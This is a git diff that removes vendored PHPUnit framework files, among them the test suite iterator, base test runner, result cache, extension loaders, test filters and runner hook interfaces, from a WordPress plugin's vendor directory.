a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuiteIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuiteIterator.php deleted file mode 100644 index 27c9d8b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuiteIterator.php +++ /dev/null @@ -1,85 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function assert; -use function count; -use RecursiveIterator; - -/** - * @template-implements RecursiveIterator - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestSuiteIterator implements RecursiveIterator -{ - /** - * @var int - */ - private $position = 0; - - /** - * @var Test[] - */ - private $tests; - - public function __construct(TestSuite $testSuite) - { - $this->tests = $testSuite->tests(); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->tests); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Test - { - return $this->tests[$this->position]; - } - - public function next(): void - { - $this->position++; - } - - /** - * @throws NoChildTestSuiteException - */ - public function getChildren(): self - { - if (!$this->hasChildren()) { - throw new NoChildTestSuiteException( - 'The current item is not a TestSuite instance and therefore does not have any children.', - ); - } - - $current = $this->current(); - - assert($current instanceof TestSuite); - - return new self($current); - } - - public function hasChildren(): bool - { - return $this->valid() && $this->current() instanceof TestSuite; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/WarningTestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/WarningTestCase.php deleted file mode 100644 index d27c6b57..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/WarningTestCase.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class WarningTestCase extends TestCase -{ - /** - * @var ?bool - */ - protected $backupGlobals = false; - - /** - * @var ?bool - */ - protected $backupStaticAttributes = false; - - /** - * @var ?bool - */ - protected $runTestInSeparateProcess = false; - - /** - * @var string - */ - private $message; - - public function __construct(string $message = '') - { - $this->message = $message; - - parent::__construct('Warning'); - } - - public function getMessage(): string - { - return $this->message; - } - - /** - * Returns a string representation of the test case. - */ - public function toString(): string - { - return 'Warning'; - } - - /** - * @throws Exception - * - * @psalm-return never-return - */ - protected function runTest(): void - { - throw new Warning($this->message); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/BaseTestRunner.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/BaseTestRunner.php deleted file mode 100644 index bbef329f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/BaseTestRunner.php +++ /dev/null @@ -1,161 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use function is_dir; -use function is_file; -use function substr; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\TestSuite; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -abstract class BaseTestRunner -{ - /** - * @var int - */ - public const STATUS_UNKNOWN = -1; - - /** - * @var int - */ - public const STATUS_PASSED = 0; - - /** - * @var int - */ - public const STATUS_SKIPPED = 1; - - /** - * @var int - */ - public const STATUS_INCOMPLETE = 2; - - /** - * @var int - */ - public const STATUS_FAILURE = 3; - - /** - * @var int - */ - public const STATUS_ERROR = 4; - - /** - * @var int - */ - public const STATUS_RISKY = 5; - - /** - * @var int - */ - public const STATUS_WARNING = 6; - - /** - * @var string - */ - public const SUITE_METHODNAME = 'suite'; - - /** - * Returns the loader to be used. - */ - public function getLoader(): TestSuiteLoader - { - return new StandardTestSuiteLoader; - } - - /** - * Returns the Test corresponding to the given suite. - * This is a template method, subclasses override - * the runFailed() and clearStatus() methods. - * - * @param string|string[] $suffixes - * - * @throws Exception - */ - public function getTest(string $suiteClassFile, $suffixes = ''): ?TestSuite - { - if (is_dir($suiteClassFile)) { - /** @var string[] $files */ - $files = (new FileIteratorFacade)->getFilesAsArray( - $suiteClassFile, - $suffixes, - ); - - $suite = new TestSuite($suiteClassFile); - $suite->addTestFiles($files); - - return $suite; - } - - if (is_file($suiteClassFile) && substr($suiteClassFile, -5, 5) === '.phpt') { - $suite = new TestSuite; - $suite->addTestFile($suiteClassFile); - - return $suite; - } - - try { - $testClass = $this->loadSuiteClass( - $suiteClassFile, - ); - } catch (\PHPUnit\Exception $e) { - $this->runFailed($e->getMessage()); - - return null; - } - - try { - $suiteMethod = $testClass->getMethod(self::SUITE_METHODNAME); - - if (!$suiteMethod->isStatic()) { - $this->runFailed( - 'suite() method must be static.', - ); - - return null; - } - - $test = $suiteMethod->invoke(null, $testClass->getName()); - } catch (ReflectionException $e) { - $test = new TestSuite($testClass); - } - - $this->clearStatus(); - - return $test; - } - - /** - * Returns the loaded ReflectionClass for a suite name. - */ - protected function loadSuiteClass(string $suiteClassFile): ReflectionClass - { - return $this->getLoader()->load($suiteClassFile); - } - - /** - * Clears the status message. - */ - protected function clearStatus(): void - { - } - - /** - * Override to define how to handle a failed loading of - * a test suite. - */ - abstract protected function runFailed(string $message): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/DefaultTestResultCache.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/DefaultTestResultCache.php deleted file mode 100644 index f9d8a90d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/DefaultTestResultCache.php +++ /dev/null @@ -1,158 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use const DIRECTORY_SEPARATOR; -use const LOCK_EX; -use function assert; -use function dirname; -use function file_get_contents; -use function file_put_contents; -use function in_array; -use function is_array; -use function is_dir; -use function is_file; -use function json_decode; -use function json_encode; -use function sprintf; -use PHPUnit\Util\Filesystem; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class DefaultTestResultCache implements TestResultCache -{ - /** - * @var int - */ - private const VERSION = 1; - - /** - * @psalm-var list - */ - private const ALLOWED_TEST_STATUSES = [ - BaseTestRunner::STATUS_SKIPPED, - BaseTestRunner::STATUS_INCOMPLETE, - BaseTestRunner::STATUS_FAILURE, - BaseTestRunner::STATUS_ERROR, - BaseTestRunner::STATUS_RISKY, - BaseTestRunner::STATUS_WARNING, - ]; - - /** - * @var string - */ - private const DEFAULT_RESULT_CACHE_FILENAME = '.phpunit.result.cache'; - - /** - * @var string - */ - private $cacheFilename; - - /** - * @psalm-var array - */ - private $defects = []; - - /** - * @psalm-var array - */ - private $times = []; - - public function __construct(?string $filepath = null) - { - if ($filepath !== null && is_dir($filepath)) { - $filepath .= DIRECTORY_SEPARATOR . self::DEFAULT_RESULT_CACHE_FILENAME; - } - - $this->cacheFilename = $filepath ?? $_ENV['PHPUNIT_RESULT_CACHE'] ?? self::DEFAULT_RESULT_CACHE_FILENAME; - } - - public function setState(string $testName, int $state): void - { - if (!in_array($state, self::ALLOWED_TEST_STATUSES, true)) { - return; - } - - $this->defects[$testName] = $state; - } - - public function getState(string $testName): int - { - return $this->defects[$testName] ?? BaseTestRunner::STATUS_UNKNOWN; - } - - public function setTime(string $testName, float $time): void - { - $this->times[$testName] = $time; - } - - public function getTime(string $testName): float - { - return $this->times[$testName] ?? 0.0; - } - - public function load(): void - { - if (!is_file($this->cacheFilename)) { - return; - } - - $data = json_decode( - file_get_contents($this->cacheFilename), - true, - ); - - if ($data === null) { - return; - } - - if (!isset($data['version'])) { - return; - } - - if ($data['version'] !== self::VERSION) { - return; - } - - assert(isset($data['defects']) && is_array($data['defects'])); - assert(isset($data['times']) && is_array($data['times'])); - - $this->defects = $data['defects']; - $this->times = $data['times']; - } - - /** - * @throws Exception - */ - public function persist(): void - { - if (!Filesystem::createDirectory(dirname($this->cacheFilename))) { - throw new Exception( - sprintf( - 'Cannot create directory "%s" for result cache file', - $this->cacheFilename, - ), - ); - } - - file_put_contents( - $this->cacheFilename, - json_encode( - [ - 'version' => self::VERSION, - 'defects' => $this->defects, - 'times' => $this->times, - ], - ), - LOCK_EX, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Exception.php deleted file mode 100644 index adcd1155..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Exception extends RuntimeException implements \PHPUnit\Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php deleted file mode 100644 index c57e70e7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php +++ /dev/null @@ -1,118 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Extension; - -use function class_exists; -use function sprintf; -use PHPUnit\Framework\TestListener; -use PHPUnit\Runner\Exception; -use PHPUnit\Runner\Hook; -use PHPUnit\TextUI\TestRunner; -use PHPUnit\TextUI\XmlConfiguration\Extension; -use ReflectionClass; -use ReflectionException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ExtensionHandler -{ - /** - * @throws Exception - */ - public function registerExtension(Extension $extensionConfiguration, TestRunner $runner): void - { - $extension = $this->createInstance($extensionConfiguration); - - if (!$extension instanceof Hook) { - throw new Exception( - sprintf( - 'Class "%s" does not implement a PHPUnit\Runner\Hook interface', - $extensionConfiguration->className(), - ), - ); - } - - $runner->addExtension($extension); - } - - /** - * @throws Exception - * - * @deprecated - */ - public function createTestListenerInstance(Extension $listenerConfiguration): TestListener - { - $listener = $this->createInstance($listenerConfiguration); - - if (!$listener instanceof TestListener) { - throw new Exception( - sprintf( - 'Class "%s" does not implement the PHPUnit\Framework\TestListener interface', - $listenerConfiguration->className(), - ), - ); - } - - return $listener; - } - - /** - * @throws Exception - */ - private function createInstance(Extension $extensionConfiguration): object - { - $this->ensureClassExists($extensionConfiguration); - - try { - $reflector = new ReflectionClass($extensionConfiguration->className()); - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - - if (!$extensionConfiguration->hasArguments()) { - return $reflector->newInstance(); - } - - return $reflector->newInstanceArgs($extensionConfiguration->arguments()); - } - - /** - * @throws Exception - */ - private function ensureClassExists(Extension $extensionConfiguration): void - { - if (class_exists($extensionConfiguration->className(), false)) { - return; - } - - if ($extensionConfiguration->hasSourceFile()) { - /** - * @noinspection PhpIncludeInspection - * - * @psalm-suppress UnresolvableInclude - */ - require_once $extensionConfiguration->sourceFile(); - } - - if (!class_exists($extensionConfiguration->className())) { - throw new Exception( - sprintf( - 'Class "%s" does not exist', - $extensionConfiguration->className(), - ), - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/PharLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/PharLoader.php deleted file mode 100644 index c65b1948..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/PharLoader.php +++ /dev/null @@ -1,98 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Extension; - -use function count; -use function explode; -use function implode; -use function is_file; -use function strpos; -use PharIo\Manifest\ApplicationName; -use PharIo\Manifest\Exception as ManifestException; -use PharIo\Manifest\ManifestLoader; -use PharIo\Version\Version as PharIoVersion; -use PHPUnit\Runner\Version; -use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class PharLoader -{ - /** - * @psalm-return array{loadedExtensions: list, notLoadedExtensions: list} - */ - public function loadPharExtensionsInDirectory(string $directory): array - { - $loadedExtensions = []; - $notLoadedExtensions = []; - - foreach ((new FileIteratorFacade)->getFilesAsArray($directory, '.phar') as $file) { - if (!is_file('phar://' . $file . '/manifest.xml')) { - $notLoadedExtensions[] = $file . ' is not an extension for PHPUnit'; - - continue; - } - - try { - $applicationName = new ApplicationName('phpunit/phpunit'); - $version = new PharIoVersion($this->phpunitVersion()); - $manifest = ManifestLoader::fromFile('phar://' . $file . '/manifest.xml'); - - if (!$manifest->isExtensionFor($applicationName)) { - $notLoadedExtensions[] = $file . ' is not an extension for PHPUnit'; - - continue; - } - - if (!$manifest->isExtensionFor($applicationName, $version)) { - $notLoadedExtensions[] = $file . ' is not compatible with this version of PHPUnit'; - - continue; - } - } catch (ManifestException $e) { - $notLoadedExtensions[] = $file . ': ' . $e->getMessage(); - - continue; - } - - /** - * @noinspection PhpIncludeInspection - * - * @psalm-suppress UnresolvableInclude - */ - require $file; - - $loadedExtensions[] = $manifest->getName()->asString() . ' ' . $manifest->getVersion()->getVersionString(); - } - - return [ - 'loadedExtensions' => $loadedExtensions, - 'notLoadedExtensions' => $notLoadedExtensions, - ]; - } - - private function phpunitVersion(): string - { - $version = Version::id(); - - if (strpos($version, '-') === false) { - return $version; - } - - $parts = explode('.', explode('-', $version)[0]); - - if (count($parts) === 2) { - $parts[] = 0; - } - - return implode('.', $parts); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php deleted file mode 100644 index 4b26e571..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Filter; - -use function in_array; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ExcludeGroupFilterIterator extends GroupFilterIterator -{ - protected function doAccept(string $hash): bool - { - return !in_array($hash, $this->groupTests, true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/Factory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/Factory.php deleted file mode 100644 index 4880470e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/Factory.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Filter; - -use function assert; -use function sprintf; -use FilterIterator; -use Iterator; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Runner\Exception; -use RecursiveFilterIterator; -use ReflectionClass; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Factory -{ - /** - * @psalm-var array - */ - private $filters = []; - - /** - * @param array|string $args - * - * @throws Exception - */ - public function addFilter(ReflectionClass $filter, $args): void - { - if (!$filter->isSubclassOf(RecursiveFilterIterator::class)) { - throw new Exception( - sprintf( - 'Class "%s" does not extend RecursiveFilterIterator', - $filter->name, - ), - ); - } - - $this->filters[] = [$filter, $args]; - } - - public function factory(Iterator $iterator, TestSuite $suite): FilterIterator - { - foreach ($this->filters as $filter) { - [$class, $args] = $filter; - $iterator = $class->newInstance($iterator, $args, $suite); - } - - assert($iterator instanceof FilterIterator); - - return $iterator; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php deleted file mode 100644 index b203c196..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php +++ /dev/null @@ -1,58 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Filter; - -use function array_map; -use function array_merge; -use function in_array; -use function spl_object_hash; -use PHPUnit\Framework\TestSuite; -use RecursiveFilterIterator; -use RecursiveIterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -abstract class GroupFilterIterator extends RecursiveFilterIterator -{ - /** - * @var string[] - */ - protected $groupTests = []; - - public function __construct(RecursiveIterator $iterator, array $groups, TestSuite $suite) - { - parent::__construct($iterator); - - foreach ($suite->getGroupDetails() as $group => $tests) { - if (in_array((string) $group, $groups, true)) { - $testHashes = array_map( - 'spl_object_hash', - $tests, - ); - - $this->groupTests = array_merge($this->groupTests, $testHashes); - } - } - } - - public function accept(): bool - { - $test = $this->getInnerIterator()->current(); - - if ($test instanceof TestSuite) { - return true; - } - - return $this->doAccept(spl_object_hash($test)); - } - - abstract protected function doAccept(string $hash); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php deleted file mode 100644 index 0346c601..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Filter; - -use function in_array; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class IncludeGroupFilterIterator extends GroupFilterIterator -{ - protected function doAccept(string $hash): bool - { - return in_array($hash, $this->groupTests, true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php deleted file mode 100644 index 80ab5817..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php +++ /dev/null @@ -1,138 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner\Filter; - -use function end; -use function implode; -use function preg_match; -use function sprintf; -use function str_replace; -use Exception; -use PHPUnit\Framework\ErrorTestCase; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\WarningTestCase; -use PHPUnit\Util\RegularExpression; -use PHPUnit\Util\Test; -use RecursiveFilterIterator; -use RecursiveIterator; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class NameFilterIterator extends RecursiveFilterIterator -{ - /** - * @var string - */ - private $filter; - - /** - * @var int - */ - private $filterMin; - - /** - * @var int - */ - private $filterMax; - - /** - * @throws Exception - */ - public function __construct(RecursiveIterator $iterator, string $filter) - { - parent::__construct($iterator); - - $this->setFilter($filter); - } - - /** - * @throws InvalidArgumentException - */ - public function accept(): bool - { - $test = $this->getInnerIterator()->current(); - - if ($test instanceof TestSuite) { - return true; - } - - $tmp = Test::describe($test); - - if ($test instanceof ErrorTestCase || $test instanceof WarningTestCase) { - $name = $test->getMessage(); - } elseif ($tmp[0] !== '') { - $name = implode('::', $tmp); - } else { - $name = $tmp[1]; - } - - $accepted = @preg_match($this->filter, $name, $matches); - - if ($accepted && isset($this->filterMax)) { - $set = end($matches); - $accepted = $set >= $this->filterMin && $set <= $this->filterMax; - } - - return (bool) $accepted; - } - - /** - * @throws Exception - */ - private function setFilter(string $filter): void - { - if (RegularExpression::safeMatch($filter, '') === false) { - // Handles: - // * testAssertEqualsSucceeds#4 - // * testAssertEqualsSucceeds#4-8 - if (preg_match('/^(.*?)#(\d+)(?:-(\d+))?$/', $filter, $matches)) { - if (isset($matches[3]) && $matches[2] < $matches[3]) { - $filter = sprintf( - '%s.*with data set #(\d+)$', - $matches[1], - ); - - $this->filterMin = (int) $matches[2]; - $this->filterMax = (int) $matches[3]; - } else { - $filter = sprintf( - '%s.*with data set #%s$', - $matches[1], - $matches[2], - ); - } - } // Handles: - // * testDetermineJsonError@JSON_ERROR_NONE - // * testDetermineJsonError@JSON.* - elseif (preg_match('/^(.*?)@(.+)$/', $filter, $matches)) { - $filter = sprintf( - '%s.*with data set "%s"$', - $matches[1], - $matches[2], - ); - } - - // Escape delimiters in regular expression. Do NOT use preg_quote, - // to keep magic characters. - $filter = sprintf( - '/%s/i', - str_replace( - '/', - '\\/', - $filter, - ), - ); - } - - $this->filter = $filter; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php deleted file mode 100644 index 432be9a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterIncompleteTestHook extends TestHook -{ - public function executeAfterIncompleteTest(string $test, string $message, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php deleted file mode 100644 index eb789f26..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterLastTestHook extends Hook -{ - public function executeAfterLastTest(): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php deleted file mode 100644 index 31cc91ab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterRiskyTestHook extends TestHook -{ - public function executeAfterRiskyTest(string $test, string $message, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php deleted file mode 100644 index 76980b3f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterSkippedTestHook extends TestHook -{ - public function executeAfterSkippedTest(string $test, string $message, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php deleted file mode 100644 index d0a10dd1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterSuccessfulTestHook extends TestHook -{ - public function executeAfterSuccessfulTest(string $test, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php deleted file mode 100644 index 12ecebd3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterTestErrorHook extends TestHook -{ - public function executeAfterTestError(string $test, string $message, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php deleted file mode 100644 index 94b2f300..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterTestFailureHook extends TestHook -{ - public function executeAfterTestFailure(string $test, string $message, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php deleted file mode 100644 index 3d5bcaa9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source 